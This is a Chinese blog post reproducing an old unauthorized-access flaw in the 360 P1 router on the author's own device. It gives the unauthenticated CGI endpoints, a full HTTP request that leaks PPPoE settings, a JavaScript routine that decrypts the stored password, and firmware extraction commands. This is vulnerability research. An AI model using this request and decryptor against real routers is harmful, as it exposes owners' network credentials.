前言
闲来无事,6点多起来打扫房间时发现之前在闲鱼买的古老的360路由器P1,想着能不能getshell,只不过在网上只找到了未授权访问漏洞,所以先复现一下。360安全路由P1存在未授权访问漏洞(可读取密码),不过这是很古老的漏洞了,需要刷回最老的固件才存在此漏洞,乌云漏洞编号:wooyun-2015-0143408。固件下载地址:http://luyou.dl.qihucdn.com/luyou/360POP-P1-V0.7.0.18.bin
这一系列cgi不需要登录即可访问
javascript/router/wan_config_show.cgi,
javascript/router/wan_config_set.cgi,
javascript/router/log_get.cgi
其中:
javascript/router/wan_config_show.cgi通过post可直接获取上网设置信息,包括ppoe用户名和密码。
javascript/router/wan_config_set.cgi提交post可以直接设置各种东西
漏洞复现
POST /javascript/router/wan_config_show.cgi HTTP/1.1
Host: 192.168.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Qihoo_360_login=3a1cca690f360155cc7099d537513719
Connection: close
Content-Length: 11
uiname=WAN1
通过POST提交参数,可以找到PPPOE的账号密码,账号是admin,密码是进行加密,密码的解密函数就是new_lib.js脚本中的函数getDAesString()
解密脚本:
function getDAesString(str, keys) {
var ciphertext = str.substr(32, str.length - 32);
var lengthKeyObj = {};
if (keys) {
lengthKeyObj.rand_key = keys;
} else {
lengthKeyObj = get_rand_key(0, str, true);
}
if (!lengthKeyObj.rand_key) {
return str;
}
var key = CryptoJS.enc.Hex.parse(lengthKeyObj.rand_key);
var iv = CryptoJS.enc.Latin1.parse("360luyou@install");
var str16T64 = CryptoJS.enc.Hex.parse(ciphertext).toString(CryptoJS.enc.Base64);
var decrypted = CryptoJS.AES.decrypt(str16T64, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return decrypted.toString(CryptoJS.enc.Utf8);
}
function test() {
var uiname = $("#common_uiname").val();
$.post("javascript/router/wan_config_show.cgi", { uiname: 'WAN1' }, function (data) {
var data = dataDeal(data);
wan_setup_data = data;
if (data && data.COMMON && data.COMMON.connect_type && data.PPPOE) {
wan_setup_data.PPPOE.pass = getDAesString(wan_setup_data.PPPOE.pass);
}
alert(wan_setup_data.PPPOE.pass);
});
}
直接在浏览器F12控制台中输入解密脚本,然后通过test()调用,即可解密PPPOE的密码为1234567
固件提取
在IOTsec-Zone论坛上找到了固件提取的文章,进而可以进行代码审计。这里就尝试一下。
首先工具需要:firmware-mod-kit或者binwalk,binwalk是kali自带(最新版kali是需要下载的)
firmware-mod-kit工具的功能和binwalk工具的类似,其实firmware-mod-kit工具在功能上有调用binwalk工具提供的功能以及其他的固件解包工具的整合
firmware-mod-kit工具安装(我记得kali好像已经有了):
apt-get install git build-essential zlib1g-dev liblzma-dev python3-magic
git clone https://github.com/mirror/firmware-mod-kit.git
cd firmware-mod-kit/src
./configure && make
固件提取:
binwalk -Me 360POP-P1-V0.7.0.18.bin --run-as=root
提取出来的文件名是_360POP-P1-V0.7.0.18.bin.extracted,效果是:
代码是在squashfs-root文件夹上,里面的web就是路由器后台管理的界面代码啦,可以进行代码审计等等
不过binwalk好像已经是提取出来了,如果是其他路由器,binwalk出来只有16D842.squashfs这种格式的文件,所以还需要进一步的用unsquashfs进行提取
unsquashfs 16D842.squashfs
提取的效果也就是上面的squashfs-root文件夹
只有一个80端口开了,没有啥洞进入底层shell呢。。。。
原文始发于微信公众号(暗魂攻防实验室):【漏洞复现】360路由器P1未授权访问漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论